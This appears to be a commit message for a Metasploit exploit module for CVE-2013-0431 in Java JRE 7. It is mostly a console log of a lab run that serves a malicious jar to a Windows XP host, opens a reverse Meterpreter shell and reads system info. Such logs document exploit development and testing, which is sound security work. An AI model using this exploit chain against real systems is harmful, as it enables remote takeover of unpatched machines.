Added first version of cve-2013-0431

First versions, as found in the wild and deobfuscated by https://twitter.com/SecObscurity

```
msf  exploit(java_jre17_jmxbean_2) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/a431rgTUKn
[*]  Local IP: http://192.168.1.128:8080/a431rgTUKn
[*] Server started.
msf  exploit(java_jre17_jmxbean_2) > [*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/drbGMgHE.jar
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/drbGMgHE.jar
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ClassBeanInfo.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ObjectBeanInfo.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ObjectCustomizer.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ClassCustomizer.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] Sending stage (30216 bytes) to 192.168.1.157
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.157:1249) at 2013-02-20 16:34:58 +0100

msf  exploit(java_jre17_jmxbean_2) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.157 - Meterpreter session 1 closed.  Reason: User exit

```